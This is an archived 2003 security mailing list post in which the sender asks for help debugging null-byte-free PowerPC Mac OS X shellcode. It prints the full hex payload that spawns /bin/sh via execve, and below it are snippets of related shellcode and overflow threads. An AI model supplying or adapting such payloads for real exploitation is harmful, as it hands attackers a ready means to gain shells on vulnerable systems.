Mac OS X shellcode and SIGTRAP

From: David Riley (oscar_at_the-rileys.net)
Date: 05/24/03

  • Next message: Joel Eriksson: "Re: Frame Pointer Overwriting" 
    Date: Sat, 24 May 2003 02:15:54 -0400
To: vuln-dev@securityfocus.com

    I'm trying to use ghandi's OS X shellcode to get started on some
    development. More specifically, I'm modifying it not to use NULL chars
    so I can pass it though strings. I've got it working so far, except
    that any application I try it with straight from the shell (i.e.
    ./a.out `cat code`) dies with a segfault, and when I run it with GDB, I
    get a SIGTRAP in __dyld__dyld_start (which is where syscall 11/59 seem
    to branch to). If I just continue in GDB, it goes through and launches
    the shell like it's supposed to. What am I doing wrong? Here's the
    code:

    char shellcode[] =
    "\x7c\xa5\x2a\x78" /* xor. r5, r5, r5 ; r5 = NULL */
    "\x7f\xe8\x02\xa6" /* mflr r31 */
    "\x38\x65\x04\xf0" /* addi r3, r5, 0x4f << 4 */
    "\x7c\x63\x26\x70" /* srawi r3, r3, 4 */
    "\x7c\xA3\xf9\xae" /* stbx r5, r3, r31 (terminate /bin/sh) */
    "\x38\x65\x04\x50" /* addi r3, r5, 0x45 << 4 */
    "\x7c\x63\x26\x70" /* srawi r3, r3, 4 */
    "\x7c\xA3\xfb\x2e" /* sthx r5, r3, r31 (fix sc) */
    "\x40\xa2\xff\xfd" /* bnel shellcode */
    "\x7f\xe8\x02\xa6" /* mflr r31 */
    "\x3b\xff\x01\x30" /* addi r31, r31, 268+36 */
    "\x38\x7f\xfe\xf4" /* addi r3, r31, -268 ; r3 = path */
    "\x90\x61\xff\xf8" /* stw r3, -8(r1) ; argv[0] = path */
    "\x90\xa1\xff\xfc" /* stw r5, -4(r1) ; argv[1] = NULL */
    "\x38\x81\xff\xf8" /* subi r4, r1, 8 ; r4 = {path, 0} */
    "\x3b\xc0\x76\x01" /* li r30, 30209 */
    "\x7f\xc0\x4e\x70" /* srawi r0, r30, 9 */
    "\x44\xff\xff\x02" /* sc ; execve(r3, r4, r5) */
       "/bin/sh";

    By the way, I copy the shellcode into a file, removing the NULL
    terminator from "/bin/sh" so it won't hang there (and I know this works
    because of the aforementioned success with GDB).

    Original source of OS X (Darwin) shellcode (credit where due):
            http://www.dopesquad.net/security/shellcode/ppc/execve_binsh.h

    Thanks in advance,
            David

  • Next message: Joel Eriksson: "Re: Frame Pointer Overwriting"

    Relevant Pages

    • Re: [Full-disclosure] MS06-06 Windows Media Player Exploitation
      ... But it contains 7 bad chars as you can see, so another way is: ... Because ebx+1c is a fixed addr pointing were the alphanum shellcode ... and so on, is popped to ecx correctly, and 0 badchars. ... Hosted and sponsored by Secunia - http://secunia.com/ ...
      (Full-Disclosure)
    • Doubts in shellcode !?
      ... I'm reading a tutorial about shellcode, ... That will execute the /bin/sh. ... And we must, compile it, and open gdb and get the hex value with ... x/xb main+3 ...
      (comp.security.unix)
    • Re: Problem exploiting a CGI overflow
      ... Second, I wrote a shellcode without 0x0b,0x0c, but it didnt work because ... int main(int argc, char *argv) { ... $ ./post.cgi < buffer ... gdb: Symbol `emacs_ctlx_keymap' has different size in shared object, ...
      (Vuln-Dev)
    • Re: shellcode -> asm?
      ... shell code is in a the char array "shellcode". ... GNU gdb 2002-08-18-cvs ... For most of the attacks I have, ...
      (Vuln-Dev)
    • Re: Problem exploiting a CGI overflow
      ... looking at the gdb output- it looks like you are on the right ... There is a problem with the shellcode, ... >> char txt; ... >> Violación de segmento (core dumped) ...
      (Vuln-Dev)